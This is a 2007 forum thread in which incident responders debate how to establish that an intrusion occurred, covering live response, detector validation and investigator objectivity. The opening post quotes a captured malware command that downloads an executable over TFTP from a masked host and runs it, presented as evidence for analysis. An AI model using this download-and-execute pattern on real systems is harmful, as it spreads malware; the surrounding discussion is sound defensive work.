Notifications
Clear all

corpus delecti  

  RSS
(@hogfly)
Active Member

One of the questions I'm more frequently asked when investigating an intrusion is "how did this happen?", quickly followed by "why?". In reflecting on this question I refer back to some criminal justice terms such as Actus Reus and Corpus Delecti. How do we determine that we are in fact looking at an incident and how do we know that the particular system we are looking at is a victim?

Example
A malware outbreak is brought to your attention through various automated processes. two systems are identified, rapidly followed by 11 others. A decision is made to promptly contain these systems in order to prevent further spreading. You as the incident responder are called to investigate.
The automated process captured the following information
tftp -i xxx.xxx.xxx.xxx get rtvcscan.exe& start rtvcscan.exe& exit tftp -i xxx.xxxX
Microsoft Windows 2000 [Version 5.00.2195]Microsoft Windows 2000 [Version 5.00.2.

Continuing on from a previous thread, I'm still working on applying the scientific method to incident response..so my latest questions are

How do you validate the automated process?
How do you determine that an incident has occured?
How do you arrive at the answer?
What's the basis of your thought process?

Quote
Posted : 06/03/2007 12:46 am
 skip
(@skip)
Member

One of the questions I'm more frequently asked when investigating an intrusion is "how did this happen?", quickly followed by "why?". In reflecting on this question I refer back to some criminal

…snip…

How do you validate the automated process?
How do you determine that an incident has occured?
How do you arrive at the answer?
What's the basis of your thought process?

I'll take a crack at it…

TestForIncident;
If the automated process is on an infected machine stop.
If the automated process is signature based then
…..create another file with the same name (not malicious) and send it and the start instruction across the network
…..check the automated process for logging results
……….if the automated process (signature based) did not log your test then
……………….the origional log is based on packet/payload content
…..else stop
else review the captured network traffic around the event for other factors like source IP AND infected system responce to source IP or other external IP

return responce from infected system.

main{
if TestForIncident == 0 then
….non-incident
else
start forensic process/attack post-mortum/or system rebuild and backup restore and system hardening including software update.

skip…

ReplyQuote
Posted : 07/03/2007 8:01 pm
(@keydet89)
Community Legend

First off, I think that there will be some issues bringing these legal terms into what amounts to a live response process…live response is simply too new a concept for most people to really get their heads around, and bringing the legal terms into play at this point will simply confuse the issue.

Okay, looking to your questions
> How do you validate the automated process?

Well, it depends on what that "automated process" is…is it a network-based IDS or a HIPS?

> How do you determine that an incident has occured?

You investigate. Your scenario doesn't have enough information on which to base a sound decision, so investigation is required.

> How do you arrive at the answer?

Through the experience and knowledge of understanding things like networking, client-server architectures, and having investigated a number of incidents.

> What's the basis of your thought process?

Again, experience. Unfortunately, the questions that need to be answered are encyclopedic.

H

ReplyQuote
Posted : 07/03/2007 8:22 pm
user24
(@user24)
New Member

I'll take a crack at it…

TestForIncident;
If the automated process is on an infected machine stop.
If the automated process is signature based then
…..create another file with the same name (not malicious) and send it and the start instruction across the network
…..check the automated process for logging results
……….if the automated process (signature based) did not log your test then
……………….the origional log is based on packet/payload content
…..else stop
else review the captured network traffic around the event for other factors like source IP AND infected system responce to source IP or other external IP

return responce from infected system.

main{
if TestForIncident == 0 then
….non-incident
else
start forensic process/attack post-mortum/or system rebuild and backup restore and system hardening including software update.

skip…

I tried that but there were a few compile errors; can you send me the binaries?

ReplyQuote
Posted : 07/03/2007 8:45 pm
(@deckard)
Member

Harlan

I agree LR is too new, but we gotta work it out. I tried just now to explain LR versus CF in a blog entry. I'm not sure I did a good job but it should be something some people can understand.

As far as the legal part, until we give the lawyers a chance to use LR in court it can never get to accepted as good evidence. If we don;t believe in it enough to "sell" it, our clients will never believe either

Bill

ReplyQuote
Posted : 07/03/2007 9:26 pm
(@hogfly)
Active Member

Harlan,

I tend to disagree. Live response has been done for many years. It just hasn't been done in this manner.
While it may be new to a lot of people, and it may be seen as dangerous to those people but what if doing this very thing is what helps get live response accepted? At some point we need to accept the fact that technical terms won't be understood for some time to come, but legal ones have a good chance.
As you've pointed out many times, it doesn't seem to be being done by anyone or many people for that matter. I'm beginning to draw parallels between real world and digital investigations. I've started blogging(shameless plug…) about it as a result of this paper I'm working on. Who knows if it'll lead anywhere, but I'm finding it pretty interesting so far.

>Well, it depends on what that "automated process" is…is it a >network-based IDS or a HIPS?

The automated process in this instance is an anomaly detection appliance that only collects what it deems anomalous and only a small snaplen(64 bytes max).

>You investigate. Your scenario doesn't have enough information on which >to base a sound decision, so investigation is required.

Yes of course, but how, given that this is the only source of information at the time? This is what NIST refers to as an indicator of an incident.

Assume for now that you have the following available as you begin to investigate Symantec Antivirus CE server, Cisco Netflow data. The systems have also been quarantined so containment has already been initiated.

>Through the experience and knowledge of understanding things like >networking, client-server architectures, and having investigated a number >of incidents.

So is it fair to say that your experiences have given you enough knowledge such that you can formulate your hypothesis based on previous incidents? i.e, you can predict with a reasonable amount of certainty what you're dealing with based on experience?

How do you keep from getting tunnel vision as a result of this?

>Again, experience. Unfortunately, the questions that need to be answered >are encyclopedic.

What I'm really after here is the thought process used by investigators rather than the technical process. Where do preconceived notions come from, how does one keep themselves objective, how do you test your theories and hypotheses etc..

Skip,
Rarely are things so clear cut and dry as pseudocode ) but that has a simplicity to it that's admirable.

ReplyQuote
Posted : 08/03/2007 1:20 am
(@keydet89)
Community Legend

> The automated process in this instance is an anomaly detection appliance

The first thing I would do is attempt to determine the nature of the anomaly. As I have no additional information from the ADA (ie, source/dest ports, protocol used, etc.) as to the nature of the anomaly, I would have to investigate the system that this traffic is headed to. For instance, is the target system running the IIS web server?

As I've said, there's just too much unknown at this point…the ADA doesn't offer a great deal of information, evidently.

> Yes of course, but how, given that this is the only source of information
> at the time? This is what NIST refers to as an indicator of an incident.

The first thing I'd do is assess the target system. As the ADA has provided no information whatsoever to indicate the port that the traffic was sent to, etc., I'd start by looking at the attack surface of the system. As this is traffic that appears to be originating from the Internet and targeting the system, we know that this may involve some kind of remote attack. I'd want to see what applications and versions are running on the system, as well as the current active network connections and processes, and any port-to-process mapping information.

However, it appears that containment has already been initiated…can we safely assume that no one collected any of the above volatile data prior to initiating containment? Even if the systems are still live, if they've been disconnected from the network, we may have already lost valuable information.

> How do you keep from getting tunnel vision as a result of this?

My experiences don't restrict my view…rather, due to the things I've seen and experienced, I can cast my net even wider.

> Where do preconceived notions come from, how does one keep
> themselves objective, how do you test your theories and hypotheses
> etc..

Again, from experience. I have seen that preconceived notions most often come from a lack of knowledge or experience. Many times, if a malware process doesn't immediately jump out and bite the investigator, the system is assumed to either be clean, or it's infected with a rootkit. Based on my experience, I look for any evidence at all, and do not go into an investigation with pre-conceived notions.

ReplyQuote
Posted : 08/03/2007 3:07 am
 skip
(@skip)
Member

KISS
In a live responce you have to keep in the back of your mind. "Can I believe my eyes?"

If you focus your efforts on convincing your mind that seeing is beliving then your efforts will not be wasted.

Thats why first, is the automated detection system infected?, is a show stopper.

That is why you look to see what "triggered" the automated system, if your "anomoly" is based on something other then malicious traffic (like a program name or command name)…then you have some serious problems. Problems because then your only source of real data is located on a system that you can no longer trust.

So…this brings us to the necessary parts to really know if you can believe your eyes
– You must have a capture of all network traffic to/from the system
– And/or an "image" or representation of the system state before infection

OTHERWISE, you CAN not give a good answer to this question.
Did the attacker touch/modify/read what I am using for information/evidence?

If a system is compromised, then the logs, events, data, system tables, kernal, have a greater then 0% chance of being compromised.

You can't just do a live responce, you have to plan ahead for it.

Skip

EDIT

The first thing I'd do is assess the target system. As the ADA has provided no information whatsoever to indicate the port that the traffic was sent to, etc., I'd start by looking at the attack surface of the system. As this is traffic that appears to be originating from the Internet and targeting the system, we know that this may involve some kind of remote attack. I'd want to see what applications and versions are running on the system, as well as the current active network connections and processes, and any port-to-process mapping information.

Not just traffic to the system, but traffic from the system is usualy more indicitaive of an incident.

But that is a good point…you can start gathering all network traffic after the "alert," better late then never.

And can you be sure that seeing is beliving when you look at apps and versions, network connections and port-to-process mapping?

ReplyQuote
Posted : 08/03/2007 9:17 pm
 skip
(@skip)
Member

I'll take a crack at it…

…snip…

else
start forensic process/attack post-mortum/or system rebuild and backup restore and system hardening including software update.

skip…

I tried that but there were a few compile errors; can you send me the binaries?

There are 0 complie errors…you just used the wrong compiler.
)

ReplyQuote
Posted : 08/03/2007 9:24 pm
(@keydet89)
Community Legend

> You can't just do a live responce, you have to plan ahead for it.

True dat! However, I have a great job because so few people plan ahead.

ReplyQuote
Posted : 09/03/2007 2:39 am
 skip
(@skip)
Member

> You can't just do a live responce, you have to plan ahead for it.

True dat! However, I have a great job because so few people plan ahead.

I could see that. Folks wait until their first break in before putting in the controls that will be necessary for this first responce fornesic analysis of a compromised system.

Keeping a good image of a critical system, or different intrusion detection systems, or contingecy planning and procedures.

If you really want the ability to clearly determine, "Was there an incidient?" then you need the rest of the supporing stuff.
If you don't have it then there are too many what if's and other unanswered (or no 100% true good answer) questions.

skip

ReplyQuote
Posted : 12/03/2007 6:16 pm
(@keydet89)
Community Legend

> I could see that. Folks wait until their first break in before putting in the
> controls that will be necessary for this first responce fornesic analysis of a
> compromised system.

Fortunately for my job security, that isn't the case most times. Because most of the folks that call me have not put any effort at all into information/computer/network security, the "first break in" really doesn't change anything. In the cases where the do take some of the suggestions in my final report and make the effort to improve security, the issues are often that (a) its a drain to the bottom line without any immediately identifiable benefit, and (b) they implement a point solution rather than assessing overall risk.

> If you really want the ability to clearly determine, "Was there an
> incidient[sic]?" then you need the rest of the supporing stuff.

Very, very true. Many times I get asked the questions, "what was running on the system?" or "was the intruder accessing specific files?". More often than not, in such cases, I'm called in days (or weeks) after the incident was discovered and triaged by others, and the system was shut down or rebooted.

H

ReplyQuote
Posted : 12/03/2007 6:51 pm
Share: